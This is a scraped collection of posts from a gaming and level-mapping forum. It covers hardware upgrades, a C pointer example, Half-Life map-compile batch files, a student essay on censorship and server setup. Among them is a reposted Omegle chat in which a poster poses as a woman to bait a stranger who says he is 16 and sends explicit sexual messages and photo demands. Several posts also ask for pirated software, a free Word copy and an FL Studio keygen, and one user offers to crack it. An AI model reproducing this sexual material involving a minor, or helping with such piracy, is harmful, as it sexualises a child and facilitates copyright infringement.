




In rap is not music by SuperJer:
It might sound OK but production quality makes a huge difference. Don't undervalue it.

There's a reason why all popular music is impeccably produced, even with debatable levels of quality in other categories.

Just because someone's good at composing doesn't mean they can make it sound good on a computer. Music making software is more about dodging bugs and tricking the software into doing what you want than actually writing anything. It's unnecessarily difficult.

Also I don't think it's easy at all to get a reasonably good musician to play your music. It's almost impossible to get people to listen to something, nevermind learn it and play it.

In Screen resolution by buq25:
I need step by step instructions to how to check/update drivers. A link would work fine.

I'd be grateful if you'd mark the names of whatever I have to open. My computer is sadly not in English. I mean like Control Panel etc.

In all my google searches going to http://expand-search-goals.com/ by SuperJer:
Sounds like your computer is 0wned. Reformat time!

In Can you get Microsoft Word? by xXJigsaw23Xx:
Can you get me a download? I need a free full version for my computer.

In What to get with my grant money? by Rockbomb:
molkman said:
Dont spend it all on computer shizz. Nobody really needs a super high quality mouse or keyboard, that's just ridiculous. The standard ones do just fine. Really.

Actually the mouse would save me a ton of time, especially in programs like 3ds max where you have to be clicking different tools every 3 seconds.
I think I might scratch the keyboard for now though, as you're right... not too much of a benefit from it (although it would be a lot better for my back, my laptop sits up pretty high on my desk).

As for the harddrive, I think I also changed my mind on that... Not in taht I don't want to get one, but in that I'm going to go for something different. I found a guy that is selling 72GB 10000rpm 2.5in harddrives on ebay for $30, and for another 30 I can get a portable case with USB3.0... seems like a pretty good deal, and since I'll be working with a lot of HD video and stuff, I think it'll be pretty helpful

In What to get with my grant money? by molkman:
Dont spend it all on computer shizz. Nobody really needs a super high quality mouse or keyboard, that's just ridiculous. The standard ones do just fine. Really.

In Crystalized by molkman:
I love The XX, got their album on vinyl. I wish they had some real drums instead of that boring drum computer though.

In pointers by SuperJer:
You don't need pointers. They are just one way of doing things.

In low level languages, and at the hardware level, pointers are everywhere, though. If you dig down enough, everything on a computer is about memory addresses.

Example use of a pointer:

Let's say you want to efficiently store the current state of the keyboard, and the previous state of the keyboard. In a game or something.

Let's say there's an API call GetKeyboardState( int array[255] ) to which you pass an array, and it fills it with a 0 or 1 at each position depending on whether each key is currently pressed down.

Let's make 2 arrays to hold the current and previous states:

code
int kb_state_0[255];
int kb_state_1[255];


Now let's make 2 pointers:

code
int * current_keyboard_state = kb_state_0;
int * previous_keyboard_state = kb_state_1;


Now everytime we read a new keyboard state, swap where the pointers are pointing, and read in the new data.

code
...
int * temp = previous_keyboard_state;
previous_keyboard_state = current_keyboard_state;
current_keyboard_state = temp;
GetKeyboardState( current_keyboard_state );
...


This is somewhat efficient because you don't actually have to move the whole 255-element arrays at any time. You just switch the pointers.

Hope I didn't screw that up...



In What to get with my grant money? by Rockbomb:
So, I should be getting close to $700 back from my grant, and I wanna use about $500 of it to enhance my experience while using my computer (The other 200 or so will be used for gas money to get me to and from school for the semester).
Here's what I was thinking:

Mouse
keyboard]
monitor
external drive (7200rpm)


The drive is essential, as one of my classes is After Effects, and we'll be working with HD video the whole semester. I'm open to other options for the drive (need it to be 7200rpm though), and also suggestion on what else to get instead of the mouse/keyboard/monitor.

In The M-I-N-E-C-R-A-F-T Truck by NatureJay:
It seemed like later attempts made the game more like a bad version of Age of Wonders. But the reduction of features and functionality was the worst part. Going from nine towns to like... five? And some of them didn't even really make sense, like why were the demons and the necromancers shacking up? And why the hell would building one type of unit preclude me from building another? I want options, damnit. Also the whole 2d 3d thing you said because pretty things are important.

Anyway, Minecraft is also a game that you play on a computer.

In The M-I-N-E-C-R-A-F-T Truck by aaronjer:
Obviously he should have written it in QCL. Then instead of overheating your computer it would simply send it into another dimension.

Hey... maybe that would be a way to get into the nether in multiplayer?

In The M-I-N-E-C-R-A-F-T Truck by Down Rodeo:
Ah, you say this, but the overheating is far more to do with my laptop than it is to do with Java. This thing has worse thermal dissipation than a woolly mammoth.

This is why I will one day build myself a big sexy computer. I can then stop attempting to play games on this thing.

In The Official Omegle™ Truck by Outcast:
I feel sorry for him ... lol

Stranger: how big are your tits?
You: you mean jugs?
Stranger: yeah
You: well
You: big enough to fill a bucket with milk
Stranger: pics
You: dariya1991@hotmail.com
You: see you there :)
Stranger: ok
Stranger: (:
You: u added me?
Stranger: not yet
Stranger: i have to open it
You: ok
Stranger: there
You: cool
Stranger: can i see your jugs?
You: wait i'm putting the cam on
You: can you see my pic?
You: some people can't
Stranger: you didn't accept yet
You: hmm
You: hold on a sec
Stranger: ok
Stranger: did you accept yet?
You: yes but it seems there's a problem
You: i have no idea
Stranger: does it say im online?
You: no that's why i'm worried about
You: though i did accept it shows you offline
Stranger: am i bloocked?
Stranger: blocked*
You: nope
Stranger: i sent one again
You: ok
You: are you holding anything?
Stranger: what do you mean?
You: well..
Stranger: ?
You: i will have to go for now
Stranger: why
You: i have to hang out with some friends
Stranger: send a picture through email quickly?
You: i will do later
Stranger: do you have a picture on your computer
Stranger: ?
You: no only on msn
You: i have set it so it appears only this one wherever i login
Stranger: why dont you get your friends to come over and play with eachother?
You: i don't know it it's possible today but where do you live at?
Stranger: in canadad
Stranger: canada*
You: more specifically?
Stranger: ontario
Stranger: tell me where you live?
You: quebec :)
Stranger: i've been there before. (:
You: cool
Stranger: can you drag the picture into this chat?
You: how?
Stranger: do you have your msn picture saved on your computer?
You: unfortunately no
Stranger: can you take a picture quick?
You: well i gotta go
You: i will see you later
You: by the way how old are you?
Stranger: how big are they?
Stranger: and im 16
You: well big enough :P
You: not too big but big
Stranger: bra size?
You: 25
Stranger: send a pic
You: of what?!
Stranger: you
You: how lol
You: i gotta rush
Stranger: do it really quick
You: cant
Stranger: take off your shirt and take a pic really quick
Stranger: with your webcam
You: lol
You: im not superman
You: or superwoman
Stranger: please? (:
You: i will take as much pics as you want but not now :(
You: they are calling me
You: i m late
Stranger: fine
You: will see you later babe :D
Stranger: i wanna fuck you
You: :P
Stranger: my cock is so hard
Stranger: one pic
You: i think i can do something for ya
Stranger: ?
You: wait
Stranger: ok
Stranger: ?
You: but you said you re in ontario
You: nvm
Stranger: damn
You: i could tell you where we are about to go
You: but anyway
Stranger: take one pic
Stranger: please
You: too late sorry
You: turning off
Stranger: fuck
You: indeed xD
You: bye :)
Stranger: i wanna see your tits
You: you will
You: later
Stranger: how
You: i ll try and do something with ms
You: msn
You: but pls i m in a hurry
Stranger: will you show me everything?
You: you shouldnt even ask that
You: ofc
Stranger: ok
You: bye
Stranger: bye
You have disconnected.

In My fucking sister changed all the fonts? by SRAW:
It appeared after the system restore, when the computer restarted, I got a message in windows saying that it was unsuccessful and then it gave some 0x000020 thing.

In screen is black by Rockbomb:
nectar said:
and skin its bad

Use some lotion.
As for your computer, I'd suggest booting into safe mode and saving all your important documents/pictures/etc to an external drive, then restoring your system back to factory condition (you can do this by pressing f11 as your system is booting up).

In Tomb Raider Anniversary by Mate de Vita:
Just a little update, it works beautifully on the other computer with better specs so it's not a compatibility problem.

In logo creator by mato_mato:
but i doesn´t have pldecal.wad folder anywhere in my computer

In Kayos' Music by sprinkles:
SolidKAYOS said:
WellImona new computer and wanting to work on FL studio again. Ive gotten a greater understanding on what to do and i dont have it o this computer and i cant find a keygen..

I'll patch it. Give me a dl link.

In Kayos' Music by SolidKAYOS:
WellImona new computer and wanting to work on FL studio again. Ive gotten a greater understanding on what to do and i dont have it o this computer and i cant find a keygen..

In Fan Problems by Mate de Vita:
sprinkles said:
Will that void my warranty?

Well, you tell me that. If you just have to remove a panel to get to it, it most likely won't.
But if you have to break the computer, it just might.

My guess would be that either there's junk in there, like buq said, or the fan is somehow dislocated.

In Christmas Presents by FallingShit:
Apple Desktop computer and some other random shit...

In Help by aaronjer:
Okay... you can buy a totally amazing computer that will destroy any game for like 1000 American currencies. Spending much more than that is just being self-indulgent.

In Help by SolidKAYOS:
Well this one was actually made for my brother around 05 i think. Sadly enough it saysi cant run Aoe3 but i can just fine on high. My sis curretnly has my old computer so i can see about it and i actually think its better. I thought id have to find a new one and ive been looking around but None will tell me about their video cards so im afraid to look into it.

In Help by Down Rodeo:
Yes, so I see. Problem is slightly worse than I thought as you don't have enough RAM. On the other hand you can get more than enough for $30. Thing is, you're pretty much looking at a new computer, because that thing is very low-spec. How old is it? You could make your own, you know.

In Help by SolidKAYOS:
Down Rodeo said:
Well, what are the specs of your computer? Have you tried playing Oblivion on it? Cheap way would be to buy very crap graphics cards to improve your computer, you can get one that would do it for $70, probably less nowadays.

Updated post. The site didnt put in the stuff so i had to edit it..

In Help by Down Rodeo:
Well, what are the specs of your computer? Have you tried playing Oblivion on it? Cheap way would be to buy very crap graphics cards to improve your computer, you can get one that would do it for $70, probably less nowadays.

In Help by SolidKAYOS:
Ok i wanna play Oblivion badly..and any other games on PC so i can mod and play with friends.But my computer is SHIT.
Needed for Minimum:
RAM
Minimum: 512 MB
You Have: 382.0 MB

Video Card
Minimum: 128MB Direct3D compatible video card (NVIDIA GeForce FX 5700+ / ATI Radeon 9500+)
You Have: Intel(R) 82845G Graphics Controller

Features: Minimum attributes of your Video Card
Required You Have
Video RAM 128 MB 64.0 MB
3D Yes Yes
Hardware T&L Yes No
Pixel Shader version 2.0 0.0
Vertex Shader version 2.0 0.0

--
Recommended:
CPU Speed
Recommended: 3 GHz
You Have: 2.52 GHz

RAM
Recommended: 1 GB
You Have: 382.0 MB

Video Card
Recommended: 128MB Direct3D compatible video card (NVIDIA GeForce 6800+ / ATI Radeon X800+)
You Have: Intel(R) 82845G Graphics Controller


Features: Recommended attributes of your Video Card
Required You Have
Video RAM 128 MB 64.0 MB
3D Yes Yes
Hardware T&L Yes No
Pixel Shader version 2.0 0.0
Vertex Shader version 2.0 0.0

--
..can anyone tell me a cheap way to fix my problem? :)

In Christmas Presents by xXJigsaw23Xx:
They are pretty good, only down side is that on Xbox they stopped working with it and only did with the computer version. So it only has like 2 maps for each game mode. Also I haven't played story as much as Havokk he may be able to tell you of it.

In Tomb Raider Anniversary by Mate de Vita:
A little side note, I finally managed to find an old installation (or whatever the proper noun for this is) of TR 1 from an old computer of mine, and I copied it to a CD, then tried running it on my laptop. It didn't run in Compatibility mode, but I managed to get it to work in DOSBox. The only problem is that it runs at like 3-5 fps.

So, can anyone who knows something about DOSBox tell me if this is a problem that would be solved if I ran it on a better computer (the specs on this one are: Intel Pentium 1.4GHz processor, 768MB RAM, Mobility RADEON 9200 with 32MB VRAM, Windows XP SP2), or if there is any other way to solve it?

In Zbot freezing cs during analyzing? by Down Rodeo:
Supercool fudge can snap-freeze computer programs.

In Problems with step 7 of the guide [help me please] by Muto:
i got problems with step 7 of this guide: http://www.superjer.com/learn7.php

if i copy all this in catpee.bat:

Without Steam
@echo off
hlcsg -nowadtextures catpee
hlbsp catpee
hlvis catpee
hlrad catpee
copy catpee.bsp "C:\half-life\cstrike\maps"
cd "C:\half-life"
pause
hl -dev -console -game cstrike +sv_cheats 1 +map catpee

"C:\half-life" may not be the correct location of Half-Life on your computer. Make sure you type the correct location on both the lines where it says that.

With Steam
@echo off
hlcsg -nowadtextures catpee
hlbsp catpee
hlvis catpee
hlrad catpee
copy catpee.bsp "C:\Steam\SteamApps\\counter-strike\cstrike\maps"
pause
"C:\Steam\Steam.exe" -applaunch 10 -dev +sv_cheats 1 +map catpee

"C:\Steam" may not be the correct location of Steam on your computer. Make sure you type the correct location on both the lines where it says that. Also replace with your account name. And if you do not have a "maps" folder, create one.


----------------------------

and i save it and wanna open it it is still a text document and i see the same text again in a notebook, but i have to see : Lot's of confusing stuff will show up in a command window as ZHLT compiles your map.

but that dont work please help meee

In PPPPPPPPPPPPPPPPPLLLLLEEEEEEEEEEAAAAAAAASEEEEEEEEEEE help by sprinkles:
I like how your long, annoying title fucked up RB's signature. Oh, and if you can't figure it out yourself GET THE FUCK OFF THE COMPUTER. God, you sound like my mom. :/

In Tomb Raider Anniversary by Mate de Vita:
Anyone? What did you think about it?

To me this was one of the best games I have every played, it's in the top part of my top single player games list, along with the two CoD MWs, Dragon Age Origins, GTA VC and SA, and also NFS Porsche Unleashed. Yeah, yeah, I have a weird top games list, I don't care about your opinion on that.

Anyway my point is that my opinion on TRA is biased, due to the fact that it's a remake of TR1, which is one of the first games I ever played, and is to this day one of my absolute favourites (unfortunately I can't play it because for some reason it works at like 3 seconds per frame if I run it in DOSBox or in compatibility mode - I haven't tried on my better computer yet, though). So I'm wondering how an unbiased observer without nostalgia sees TRA. I'm guessing as a Tomb Raider rip-off of Prince of Persia?

In How do I remove access from a certain page? by phoenix_r:
Rockbomb said:
...this is about computers.

Judging by the garage' description, it's about games, be they computer games or console. While there is no general computer discussion, this could fit in 'programming help,' 'requests,' or 'general.' Perhaps you should make a truck in 'requests' requesting a computer garage. Perhaps I should.

In How do I remove access from a certain page? by buq25:
First, Computer and video games.

second:

In What Happens When You Max Out Your RAM? by SuperJer:
Running out of RAM might not cause any problems if you have swap space available and thrashing does not occur.

On the other hand, if thrashing does occur (when your computer is spending more time swapping memory than actually doing anything) your computer will become amazingly slow and unusable.

If you run out of RAM and swap, get ready for lots of crashing. Most programs shit themselves when they can't get more memory on demand.

I know on Linux there's the OOM (out-of-memory) process killer, which kills a random process when memory runs out. So that could cause who-knows-what problems, but it might be better than just having no memory.

I'm not sure if Windows does anything special, or just starts saying "NO!" when programs ask for more memory.

In What Happens When You Max Out Your RAM? by aaronjer:
When my computer theoretically runs out of RAM (it has a LOT) then absolutely nothing special happens. This is because my HDD is also RAM.

In -censorship- due Nov 30 by the_cloud_system:
page1
Censorship
By: me

-Censorship
internet, books, road maps, the news and even the bible. It all has one thing in common; you cannot flip a page or look at something that has not been in discussion on “censoring”. The world is in on it, we know about it, we do not like it. So why do we let “them” do this. The examination of censorship in America suggests that censorship protects children but also it violates the 1st amendment. censorship protects children even if the first amendment is contradicted. People protest that the first amendment is what the United States of America is founded on and what makes us free. Other people explain that censorship will corrupt our kids if we do not stop things as things are with violent video games. What I think is that when I go on the internet I want to see the truth, things that I want to see and not lines of black on my texts not a white page that says “your organization has blocked this website”. Simple things such as going to cnn has “adult content” or going to other sites and have them misrepresented as such Foolery. Go to your nearest Safeway get on the internet and go to a website with some violence. The chances are that it will be Censored. The children need to know most of this IS on the internet and on TV. Not all at one time but if we keep them in the dark, children will not know what to do.

-“wanting censorship”
Freedom of speech is one of the most basic of human rights and yet there are some boundaries that need to be drawn with particular respect to sensitive issues. Ways that are common in censorship are enforced including bleeping words, blocking images, false info. Such particular issues can be language that is obscene. Movies, music, and news has most of this and it is censored for the sake of children. The government knows that and so they
do , bleep, block and insert new and “clean” information to them. “Children are our future”
should be the motivational thought when censorship comes to mind in the television companies.
Some reasons to be “for” censorship are for the children. The FCC is a company that is the main
hub of censorship in news, TV, and radio. They depict how they do not want the news to show
violence as much as possible. They cannot have nudity violence without the proper rating for that
movie. They tell troublemaker, rogue, bad robot DreamWorks, thx, pixar, that they cannot have
nudity violence without the proper rating for that movie. They do the same thing with everything
you can think of. There is a “FCC” for every country you can name/ all this is a good thing cause
if our children found out about the nudity and the violence it would corrupt there little minds
there are G, PG, PG-13, R, NC-17 that depict what movies will display in there theaters

-Reasons to not want
censorship are the kind of reasons that you want to know some information. I want to Google something about the columbine shooting. I do not want see a clean version of it was all cream and peaches, I would actually want to know the exact details of the town, day, time, how long. Blocking information should be a crime in the united states cause it is one of the things Americans embrace Such things as editing this game called “left for dead 2” the austilalians copy. compared to the usa copy it is cleaner but the hard core generic “shoot dead things” just does not fit with the graphics things as.
No gore: when you shoot a infected you see a small splash of blood, no parts will fly off
No blood splatter: you will not see blood spattering on the screen
No dismemberment: you cannot shoot or melee any limbs, and expect them to fall off
No corpses: as soon the infected hot the ground, the game renders them gone.
No burning: infected will not catch fire.
I expect somebody to say “well the game is cleaner and better with out all that killing and bad intentions“. the game or most things have a intention either to be clean or not. I ask you do you expect a game with one gun to be with good intentions? If you buy a expensive game you expect it to have the most of what the general it is and what you paid for. It would be a waste if it did not have the most gore as possible. What they are doing is denying great ideas that make great things games, books, and television. People who make this violence are not bad people , but creative ones.

-The bad things about censorship
is the over abuse of it. every body has heard of Alice In Wonderland and it is is most definitely not about drug use but over the years people have come to conclusions that it is because of parts of the book such as the one where Alice eats a mushroom. Certain people say that the reason that Alice becomes really tall and then really small in the book is because she is “high on magic mushrooms.” Alice In Wonderland is a great story for kids. It is about a young girl named Alice. Alice herself in a magical place called wonderland. This book was actually banned in China back in 1931 for another reason. Someone did not agree with animals being able to talk the way humans do. They thought that the book was “portraying animals and humans on the same level”
Catcher in the Rye is a book about violence and it makes more sense to ban the Alice in Wonderland. “Catcher in the Rye is the story of teenager Holden Caulfield's turbulent last few days before his Christmas vacation. During these days, Holden leaves Pencey Prep, a boys' school he's been kicked out of, and takes off for a few nights alone in New York City. Holden tells the story from some sort of a mental facility where he's recovering from the stress of the experiences he retells.” This book does have numerous scenes of violence but it is an overall good book. Should students stop leaning about the Second World War because we are afraid to teach them about violence? The answer is no, violence is all around us, and Catcher In the Rye is a healthy way of explaining that to kids. In 1991 Concerned Citizens of Florida challenged Catcher in the Rye. They believed the book was anti-Christian. They did not agree with the profanity, vulgarity, or the references to suicide. The review committee for this book voted that the book should stay in the library.
On September 11, 2001 the world witnessed the worst disaster in the history of North America if not the world since Pearl Harbor. The twin towers of the World Trade Center collapsed due to a terrorist attack on America. This event affected everyone very deeply, but that does not justify talking songs off the air by artists such as Creed, Savage Garden, Led Zeppelin, at one time, hit song Ironic was taken off the airwaves of many radio stations in United States and Canada because the song makes reference to a plane crash. Creed’s hit song, Higher, received the same fate when some angry people heard reference to flying or to be more specific “Can you take me higher?” in the lyrics. This song is about being brought to a place where everything is better and about creating that place here. It does not make sense for people to object to a song with such a deep and spiritual meaning. Both of these songs have no coarse language, sexual or rude remarks, or even any reference to fighting of any sort. It is unbelievable what they do to religions also.

-The good things about censorship are things that protect our children cause The beeps has become increasingly used in our society, so much that whenever we hear it. Every time we hear the beeps, we immediately wonder what word was just removed. Do not tell me you do not ponder it, however quickly, because I am absolutely positive you do. You can not help but wonder what word was just missing in action from that last sentence you just heard! In your head you know what word was It probably goes without saying that we’ve all been conditioned to accept that something naughty has been said when you hear the beep. Censorship can protect out troops it can provide safe for rape victims, relocated people, and most importantly it will keep the moral being of family together.

-In conclusion, censorship in music, TV, maps is wrong in my opinion. Artists in both music and art should be allowed to say/paint whatever they want. That is what our founding fathers based this country upon: freedom. The government is doing an excellent job in making the First Amendment suitable for all. If parents have a problem with it, it is because they did not properly supervise their children.

Have a mini-internet for kids, such that it is accessible to anyone on the Internet, while those on the mini-net cannot access the "real" Internet.

Have a completely separate computer network for children.

Parallel chat network for children and ONLY children.

Internet servers for children that restrict potentially obscene newsgroups.

It's the nature of internet that most simple protections can be defeated and parents should know that!!!

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It's the nature of internet that most simple protections can be defeated and parents should know that!!!

10 Things the Chinese Government Ignores About Web Censorship
internet nov. 12 2010 <http://www.eweek.com/c/a/Security/10-Things-the-Chinese-Government-Ignores-about-Web-Censorship-770004/>

-censorship- due Nov 30
internet nov/17/2010
<http://www.superjer.com/forum/censorship_due_nov_30.php>

Banned Books - Censorship
internet nov 12 2010 <http://classiclit.about.com/od/bannedliteratur1/Banned_Books_Censorship.htm>

Book Censorship
internet nov 12 2010 <http://www.epinions.com/content_2629345412>

Book Censorship and Banning of Children's Books
internet nov 12 2010 <http://childrensbooks.about.com/cs/censorship/a/censorship.htm>

Censorship From Wikipedia, the free encyclopedia
internet nov. 12 2010 <http://en.wikipedia.org/wiki/Censorship>

Censorship - Right or Wrong?
internet nov 12 2010 <http://www.associatedcontent.com/article/30788/censorship_debate.html>

reasons for media censorship
internet nov 30 2010 <http://www.waynejohn.com/why-censorship-is-good/>

Quotes on freedom of speech and censorship
internet nov 12 2010 <http://cgd.best.vwh.net/home/anticens.htm>

"Internet Censorship Essay - Censorship and the Internet." 123HelpMe.com. 30 Nov 2010
<http://www.123HelpMe.com/view.asp?id=9873>.

In The M-I-N-E-C-R-A-F-T Truck by the_cloud_system:
sprinkles said:
Now quit whining and learn how to use a computer...


In GetAsyncKeyState by sprinkles:
Rockbomb said:
But I'd still like to know if there is a good alternative to GetAsyncKeyState, preferably one that'd work on windows/linux/max

Here's a great way to record keys that works with windows/mac/linux/everything else. Setup a video camera behind the computer aimed at the keyboard and have it send the feed wirelessly to the receiver in your van parked outside. Yes, that was on Law and Order (SVU).

In -censorship- due Nov 30 by cloud_the_system:
the_cloud_system said:
this one is regular
system cloud the is when im at school or on another computer
those are the only ones i have
some troll made the cloud the system

i have 2 cause if i log on to superjer i dont read the posts and when i get on later it marks them all as read. and im confused


lol i must have been drunk when i wrote that lol, i was partying all night and i forgot that this my 3rd account lol.

In -censorship- due Nov 30 by the_cloud_system:
this one is regular
system cloud the is when im at school or on another computer
those are the only ones i have
some troll made the cloud the system

i have 2 cause if i log on to superjer i dont read the posts and when i get on later it marks them all as read. and im confused

In dis-kuss now by the_cloud_system:
http://www.uscga.edu/default.aspx

im thinking about that one just cause there is "No tuition". theres probably a catch or something like actually joining air force, but...air force does nothing but sit. so i think its a good job.
by sitting i mean sitting jobs like being on the computer

In Hey prinkels by SolidKAYOS:
any chance you can get me the key-gen to fruity loops again? I got a new computer so..

In I thermonuclear bomb'ed on my computer, is that healthy for it? by Down Rodeo:
the_cloud_system said:
is it healthy for the computer to lose that much and stuff?

I've heard that rapid massive weight loss can in fact be very unhealthy.

In I thermonuclear bomb'ed on my computer, is that healthy for it? by fedex _:
the_cloud_system said:
i got mad at my desktop computer. i only have 40 gigs to it and i had 4 free gigs left.
i wanted to play steam on there and there was simple no space left on the disk so... i just wrecked my desktop, moved pictures to my laptop and a shit tone of stuff but, yah... i cleaned 30 gigs out
i didn't wanna crash it and do all the updates
thought you would wana know that >_>

is it healthy for the computer to lose that much and stuff?



the best way to make it faster , but make sure you didnt delete any windows shit

In I thermonuclear bomb'ed on my computer, is that healthy for it? by the_cloud_system:
i got mad at my desktop computer. i only have 40 gigs to it and i had 4 free gigs left.
i wanted to play steam on there and there was simple no space left on the disk so... i just wrecked my desktop, moved pictures to my laptop and a shit tone of stuff but, yah... i cleaned 30 gigs out
i didn't wanna crash it and do all the updates
thought you would wana know that >_>

is it healthy for the computer to lose that much and stuff?

In -censorship- due Nov 30 by the_cloud_system:
OH, MAH, GAWD!



edit: i am not asking for help i am just posting it so i can work on this any where i am, from any kind of computer.



In Blacklist by Rockbomb:
MAC address possibly.
Or you could try saving a cookie on their computer, and have the site search for that cookie... if its there it won't let them on.

In Pondering... by the_cloud_system:
for me...id actualey rather get the console to play the game (but i would realey like to play twilight princes on the computer...)

In Dynamic Background with PHP and CSS by SuperJer:
echo, print, it doesn't matter. The value of $background will be used because it's a "double-quoted" string. By the time echo or print "see's" it, the variable has already been resolved.

Also you can run PHP on any computer. You don't need a server to test/build stuff.

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by Runetribe:
Down Rodeo said:
Well,if you've not ever bought Half-Life then it won't play. I'm not sure if you can get nonSteam copies of it any more...


Whats the difference in Steam and non-Steam? And also, i seem to have a few half life files on my computer in the Counter Strike directory. Any idea where i can get a legal copy and how much that would cost me?

Edit: Whoops, sorry for double post

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by Runetribe:
Down Rodeo said:
Well,if you've not ever bought Half-Life then it won't play. I'm not sure if you can get nonSteam copies of it any more...


Whats the difference in Steam and non-Steam? And also, i seem to have a few half life files on my computer in the Counter Strike directory. Any idea where i can get a legal copy and how much that would cost me?

In Help pls lots of problems for making CS 1.5 (CS 1.6nosteam) maps by Runetribe:
OK be prepared cuz this is alot of problems:

1: Does Cstrike have things like driveable cars and turrets?
2: How do i make water that is transparent, and where you can swim and drown in? Where can i find textures to this/which do i use?
3: How do i add background sounds to my map?
4: how do i make a map edge that has sky on top, and water on the bottom, like in as_oilrig? And how do i make an edge where you fall off, then die after a certain point?
5: How do i make a moving, button activated elevator?

And finally the thing i really need answered, its blocking me from making any maps but the most simple.

I made a map, called it de_bricks.
Bots take the central, obvious way always, but this usually leads to a confrontation in a central chamber without the bomb ever getting planted. So i made a hall from the side of both spawns, that leads to site A. A is connected by a ladder to B, which is right above this. Yet i cannot get bots in any way to take either the ladder or the extra hallways. I know this has probably something to do with waypointing, but only sollution i find is for Source. Again, i have Counter strike 1.6 No Steam, i think this is Counter Strike 1.5. I learned mapping using this tutorial: http://www.superjer.com/learn.php


Also, just a small problem: I start and play counter strike 1.6 no steam. It has a button that says 'change game'. I can switch to half-life, but i can't start any game or so. It just refuses to do anything no matter how many times i click the button, or the game just crashes. No error log, no computer crash, just game quit. Any sollutions/reasons to this?

In windoes media player by the_cloud_system:
Down Rodeo said:
I see your music list and among its names there are artists that make me wonder what is wrong with the music industry today. Of course, I can quickly answer that question - there is nothing wrong as diversity is in fact the best thing and more music is always good - but seriously, some of it is shit.

most of it is just for one song

sprinkles said:
Did you use whiteout on your monitor?


the white out is eather repeats of albums or music the computer came with

In Custom Rig by Rockbomb:
aaronjer said:
Try to fit a model of a marilith in the computer somewhere. That will give it dark powers and a better L2 cache.

K.
Added this to my list.

In Custom Rig by aaronjer:
Try to fit a model of a marilith in the computer somewhere. That will give it dark powers and a better L2 cache.

In Missed meh? by buq25:
Did you miss me? My family went on a vacation in Mallorca which you American people probably don't know what it is. They pulled me from the computer, they pulled me out of the room even so often while we were there. I managed to escape the sun, somehow anyways.

In Daemon fucking tools breaks my window 7? by SRAW:
Now it works, I just restarted my computer again, but seriously what kind of software tries to break your computer?

In Superjer forum down yesterday?? by aaronjer:
First supes accidentally his whole surge protector. Then he accidentally his whole computer directly into the wall. Then he accidentally his whole power surge...

In i need help with networking 2 computers by SuperJer:
OK then.

If anyone else is having trouble with this here's what I recommend:

On computer A open a command prompt by running (Windowskey+R) cmd

At the prompt, run ipconfig and look for where it says IP Address or IPv4 Address. This is computer A's local address. Let's say for example it is 192.168.0.143

Go to computer B, open an explorer window and navigate to double-backslash-computer-A's-address. For example \\192.168.0.143

If it doesn't work, try the same thing from computer A to B.

Nothing will show up if you don't share a folder first.

You may be asked to login when you try to connect. You should be able to use your Windows username and password on the target machine.

If you are trying to connect from a Linux computer to Windows, use the smb:// protocol, for example smb://192.168.0.143

In Cyborg R.A.T 9 by buq25:
Well, RB, the R.A.T 7 is the exact same thing (I think) except with a wire and 40$ cheaper.

Well, it's a double kill for me since I like the wired mouses and keyboards more than the wireless. No problems with batteries, no extra things to hold control off. Batteries and/or a connector to the computer, R.A.T 9 has a charger to keep control over etc.

In How to make your own Sky by Outcast:
Rockbomb said:
Outcast said:
SRAW said:
If you get lag in cs from a map... you should sell your computer


retard



I guess that could have worked too

In How to make your own Sky by Rockbomb:
Outcast said:
SRAW said:
If you get lag in cs from a map... you should sell your computer


retard


In How to make your own Sky by Outcast:
SRAW said:
If you get lag in cs from a map... you should sell your computer


fucktard

In How to make your own Sky by SRAW:
If you get lag in cs from a map... you should sell your computer

In Anyone interested in GNU/Linux/Open source by sprinkles:
Netflix said:
For the past two decades, a group of computer hackers, neocommunists and entrepreneurs has been gradually undermining Microsoft's monopoly and fundamentally changing the way software is developed and owned -- a revolution that resulted in the Linux operating system and the Open Source movement. This fascinating documentary explores the OS movement's origins and depicts the grassroots nature of Linux and OS as they march into the mainstream.


In Wtf? by Down Rodeo:
LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL

I find this too funny.

LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL

Oh, dear, that's hilarious. Outcast - ignore the people in this truck, they're not helping. Obviously something is wrong but we're heading into territory where having physical access to the computer would be easier than trying to find solutions through you would be.

Ahem.

In Pixel Art by SRAW:
Cause they're loading all their gdi libraries and cause they hate YOU! YES THEY HAVE A WAY TO SOMEHOW KNOW THAT AARON WILSON IS INFRONT OF HIS COMPUTER USING THEIR PROGRAM SO IT DELIBERATELY LOADS SLOWLY

In COUNTAR STRIEK SERVAR by Rockbomb:
Alright I'll try that SJ.
But, I don't think that computer has a unique IP... my router uses NAT, which makes all the devices connected to it have the same IP right?


Edit:The tutorial didn't say to run everything in root like that, I just got tired of typing sudo before everything while I was installing xD
I won't run it in root while I actually have the server going

In COUNTAR STRIEK SERVAR by Rockbomb:
So... basically I got pissed off trying to set up a web server, and decided I'll set up a cs2.6 server instead.
So, I followed this tutorial, and got everything installed. But when I try to run it (the "starting the server" section at the bottom) I get:
Quote:
root@david-desktop:~# cd /usr/hlds
root@david-desktop:/usr/hlds# ./hlds_run -game cstrike +ip 97.121.168.14 +sv_lan 1 -nomaster +maxplayers 18 +map de_dust2
Auto detecting CPU
Using AMD Optimised binary.
Auto-restarting the server on crash

Console initialized.
scandir failed:/usr/hlds/./valve/SAVE
scandir failed:/usr/hlds/./platform/SAVE
Protocol version 48
Exe version 1.1.2.6/Stdio (cstrike)
Exe build: 16:56:04 Mar 8 2010 (4883)
STEAM Auth Server
WARNING: UDP_OpenSocket: port: 27015 bind: Cannot assign requested address
FATAL ERROR (shutting down): Couldn't allocate dedicated server IP port 27015.



Now, I'm guessing this has something to do with me not setting up the ip part correctly. In my router I have set it up to forward port 27015 (both tcp and udp) to my server computer.
Also, I did a netstat -a, and I don't see anything using port 27015.


Anyone know how to fix this?

In bb_colorful by HoV Black:
im just putting this here so i can copy paste it on another computer hope you dont mind

This map offers a slightly different gameplay because of the blocks they can be used as references.

Heres a list of kewl stuff

Pink Blocks(1) - 150w 16l 36h i made it so 150w is a good length 16l is half of what a player is so it can be used as references and 36h is your height when you crouch theres - 10 pieces

Pink Blocks(2) - 150w 16l 72h same thing except 72 height is your height when your standing - 10 pieces

Purple Blocks(1) - 16w 150l 36h same as pink blocks(1) but different direction - 10 pieces

Purple Blocks(2) - 16w 150l 72h same as pink blocks(2) but different direction - 10 pieces

